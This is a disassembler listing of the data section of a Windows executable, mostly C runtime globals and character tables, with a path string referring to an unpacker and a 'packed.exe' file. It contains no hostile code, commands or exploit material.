dword_4E28FC	dd 0			; DATA XREF: __sopen+149r
dword_4E2900	dd 2			; DATA XREF: start+29w	___heap_selectr ...
dword_4E2904	dd 0A28h		; DATA XREF: start+49w	start+5Aw
dword_4E2908	dd 501h			; DATA XREF: start+65w
dword_4E290C	dd 5			; DATA XREF: start+32w
					; ___heap_select+9r ...
dword_4E2910	dd 1			; DATA XREF: start+3Aw
dword_4E2914	dd 1			; DATA XREF: WinMain(x,x,x,x):loc_40A542r
					; __setargv+8Fw
dword_4E2918	dd 340B20h		; DATA XREF: WinMain(x,x,x,x)+2E8r
					; WinMain(x,x,x,x)+308r ...
		align 10h
; void *Memory
Memory		dd 340B40h		; DATA XREF: __setenvp+48w
					; __setenvp:loc_426498r ...
		align 10h
off_4E2930	dd offset aCM_unpackerPac ; DATA XREF: __setargv+37w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4E2938	db 0			; DATA XREF: _doexit+2Dw
					; ___endstdio+5r
		align 4
dword_4E293C	dd 0			; DATA XREF: _doexit+27w
dword_4E2940	dd 0			; DATA XREF: _doexit+7r _doexit+B0w
dword_4E2944	dd 0			; DATA XREF: __openfile+14Cw
					; __stbuf:loc_422C97w ...
		dd 0
dword_4E294C	dd 0			; DATA XREF: __fpmath+Fw
dword_4E2950	dd 0			; DATA XREF: _CreateFrameInfo(FrameInfo	*,void *)+Ar
					; _CreateFrameInfo(FrameInfo *,void *)+13w ...
; char *dword_4E2954
dword_4E2954	dd 0			; DATA XREF: start+11Cw
					; __setenvp:loc_4263F9r ...
		dd 0
dword_4E295C	dd 0			; DATA XREF: __amsg_exitr start+D2r ...
dword_4E2960	dd 0			; DATA XREF: __callnewhr
dword_4E2964	dd 0			; DATA XREF: _realloc:loc_41E4CBr
					; _realloc:loc_41E509r	...
		align 10h
dword_4E2970	dd 1			; DATA XREF: __setmbcp+19w
					; __setmbcp+21w ...
dword_4E2974	dd 0			; DATA XREF: __cftoe+12r __cftof+1Ar ...
byte_4E2978	db 0			; DATA XREF: __cftoe+3r __cftoe+8Dr ...
		align 4
dword_4E297C	dd 0			; DATA XREF: __cftof+11r __cftog+1Aw ...
byte_4E2980	db 0			; DATA XREF: __cftog+57w
		align 4
dword_4E2984	dd 0			; DATA XREF: CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+32r
					; CallCatchBlock(EHExceptionRecord *,EHRegistrationNode	*,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+42w	...
dword_4E2988	dd 0			; DATA XREF: CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+3Ar
					; CallCatchBlock(EHExceptionRecord *,EHRegistrationNode	*,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+4Bw	...
dword_4E298C	dd 0			; DATA XREF: FrameUnwindFilter(_EXCEPTION_POINTERS *):loc_424CABw
					; ___FrameUnwindToState+15w ...
dword_4E2990	dd 0			; DATA XREF: _CallSETranslator(EHExceptionRecord *,EHRegistrationNode *,void *,void *,_s_FuncInfo const	*,int,EHRegistrationNode *)+8Dr
					; FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode	*,_CONTEXT *,void *,_s_FuncInfo	const *,int,int,EHRegistrationNode *)+14r
dword_4E2994	dd 0			; DATA XREF: sub_4254B5+Cr
; int (__stdcall *dword_4E2998)()
dword_4E2998	dd 77C26E79h		; DATA XREF: __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *):loc_425587r
					; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)+40r ...
		dd 2 dup(0)
; int dword_4E29A4
dword_4E29A4	dd 0			; DATA XREF: _mbstowcs+20r
					; _mbstowcs:loc_4205AEr ...
		dd 3 dup(0)
; int dword_4E29B4
dword_4E29B4	dd 0			; DATA XREF: _mbstowcs+61r
					; _mbstowcs+C3r ...
		dd 0
dword_4E29BC	dd 1			; DATA XREF: ___crtLCMapStringA+Er
					; ___crtLCMapStringA+31w ...
dword_4E29C0	dd 0			; DATA XREF: __FF_MSGBANNER+21r
dword_4E29C4	dd 0			; DATA XREF: __XcptFilter+68r
					; __XcptFilter+73w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv+1Co
					; .data:off_4E2930o
		align 4
		dd 3Ah dup(0)
byte_4E2ACC	db 0			; DATA XREF: __setargv+23w
		align 10h
dword_4E2AD0	dd 1			; DATA XREF: ___crtGetEnvironmentStringsA+2r
					; ___crtGetEnvironmentStringsA+24w ...
dword_4E2AD4	dd 0			; DATA XREF: __openfile+7r
dword_4E2AD8	dd 1			; DATA XREF: ___crtGetStringTypeA+Er
					; ___crtGetStringTypeA+2Ew ...
dword_4E2ADC	dd 0			; DATA XREF: ___security_error_handler+17r
word_4E2AE0	dw 0			; DATA XREF: __fltout+1Fo __fltout+4Dr
byte_4E2AE2	db 0			; DATA XREF: __fltout+41r
		align 4
dword_4E2AE4	dd 6 dup(0)		; DATA XREF: __fltout+5Co
dword_4E2AFC	dd 0			; DATA XREF: __fltout+48w __fltout+66o
dword_4E2B00	dd 0			; DATA XREF: __fltout+54w
dword_4E2B04	dd 0			; DATA XREF: __fltout+3Cw
dword_4E2B08	dd 0			; DATA XREF: __fltout+5Cw
		align 10h
dword_4E2B10	dd 0			; DATA XREF: __ValidateEH3RN:loc_42856Er
					; __ValidateEH3RN+13Fr	...
		align 8
dword_4E2B18	dd 0			; DATA XREF: __ValidateEH3RN:loc_428581r
					; __ValidateEH3RN+1C4r	...
		dd 0Fh dup(0)
dword_4E2B58	dd 0			; DATA XREF: __ValidateEH3RN+12Co
					; __ValidateEH3RN+191o	...
dword_4E2B5C	dd 0			; DATA XREF: ___crtMessageBoxA+9r
					; ___crtMessageBoxA+38w ...
dword_4E2B60	dd 0			; DATA XREF: ___crtMessageBoxA+4Dw
					; ___crtMessageBoxA:loc_4287D5r
dword_4E2B64	dd 0			; DATA XREF: ___crtMessageBoxA+5Bw
					; ___crtMessageBoxA+D6r
dword_4E2B68	dd 0			; DATA XREF: ___crtMessageBoxA+7Bw
					; ___crtMessageBoxA:loc_428790r
dword_4E2B6C	dd 0			; DATA XREF: ___crtMessageBoxA+6Cw
					; ___crtMessageBoxA+9Cr
dword_4E2B70	dd 0			; DATA XREF: __sopen+3Dr
dword_4E2B74	dd 0			; DATA XREF: _raise:loc_429315r
					; _raise+6Co
dword_4E2B78	dd 0			; DATA XREF: _raise:loc_4292EDr
					; _raise+44o
dword_4E2B7C	dd 0			; DATA XREF: _raise:loc_4292E0r
					; _raise+37o
dword_4E2B80	dd 0			; DATA XREF: _raise:loc_4292FAr
					; _raise+51o
		align 8
dword_4E2B88	dd 0			; DATA XREF: ___crtLCMapStringW+11r
					; ___crtLCMapStringW+31w ...
dword_4E2B8C	dd 0			; DATA XREF: ___crtGetStringTypeW+11r
					; ___crtGetStringTypeW+2Ew ...
dword_4E2B90	dd 1			; DATA XREF: _floorr _ceilr ...
dword_4E2B94	dd 1			; DATA XREF: ___sse2_available_init+4Dw
					; ___sse2_available_init+78w
dword_4E2B98	dd 20h			; DATA XREF: __close+8r __read+Br ...
		align 10h
dword_4E2BA0	dd 340650h		; DATA XREF: ___initstdio+7Br
					; __filbuf+74r	...
dword_4E2BA4	dd 3Fh dup(0)		; DATA XREF: __ioinit+91o
; int dword_4E2CA0
dword_4E2CA0	dd 0			; DATA XREF: __ismbcspace+37r
					; _setSBCS+1Aw	...
dword_4E2CA4	dd 0			; DATA XREF: __ismbcspace+21r
					; _setSBCS+15w	...
		dd 6 dup(0)
byte_4E2CC0	db 0			; DATA XREF: _setSBCS+6o __setmbcp+A7o ...
byte_4E2CC1	db 0			; DATA XREF: __splitpath+5Er
					; _setSBUpLow+104w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
; int dword_4E2DC4
dword_4E2DC4	dd 4E4h			; DATA XREF: __ismbcspace+40r
					; _setSBCS+10w	...
		align 10h
dword_4E2DD0	dd 4 dup(0)		; DATA XREF: _setSBCS+1Fo
					; __setmbcp+162o ...
byte_4E2DE0	db 0			; DATA XREF: _setSBUpLow:loc_422E9Cw
					; _setSBUpLow:loc_422EB9w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
; void *Dst
Dst		dd 0			; DATA XREF: ___sbh_heap_init+21w
					; ___sbh_free_block+21Cr ...
dword_4E2EE4	dd 0			; DATA XREF: ___sbh_heap_init+28w
					; ___sbh_find_blockr ...
dword_4E2EE8	dd 0			; DATA XREF: ___sbh_heap_init+15w
					; ___sbh_find_block+8r	...
dword_4E2EEC	dd 0			; DATA XREF: _realloc+58r
					; __heap_alloc+Er ...
dword_4E2EF0	dd 0			; DATA XREF: ___sbh_heap_init+2Fw
					; ___sbh_free_block+300w ...
dword_4E2EF4	dd 0			; DATA XREF: ___sbh_heap_init+3Cw
					; ___sbh_alloc_new_region+5r ...
dword_4E2EF8	dd 0			; DATA XREF: ___sbh_free_block+229r
					; ___sbh_free_block+249r ...
dword_4E2EFC	dd 340000h		; DATA XREF: _free+2Ar	_realloc+B6r ...
dword_4E2F00	dd 1			; DATA XREF: _free+9r
					; _realloc:loc_41E3F1r	...
dword_4E2F04	dd 142340h		; DATA XREF: start+112w
					; __wincmdln:loc_42639Br ...
dword_4E2F08	dd 341080h		; DATA XREF: ___initstdio+2Bw
					; ___initstdio+44w ...
		dd 5 dup(0)
dword_4E2F20	dd 400h	dup(0)		; DATA XREF: .data:off_443500o
					; .data:00443508o
; size_t NumOfElements
NumOfElements	dd 200h			; DATA XREF: ___initstdior
					; ___initstdio:loc_41F8D1w ...
dword_4E3F24	dd 1			; DATA XREF: __setenvp+9Fw
dword_4E3F28	dd 34075Ch		; DATA XREF: _doexit+3Er
					; _doexit:loc_41F202r ...
; void *dword_4E3F2C
dword_4E3F2C	dd 340758h		; DATA XREF: _doexit+34r _doexit+5Ar ...
dword_4E3F30	dd 1			; DATA XREF: ___initmbctabler
					; ___initmbctable+11w ...
_data		ends

; Section 4. (virtual address 000E4000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 000E4000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4E4000h
		dd 53h dup(0)
dword_4E414C	dd 2Dh dup(0)		; DATA XREF: .rdata:off_439428o
		align 1000h
_idata2		ends


		end start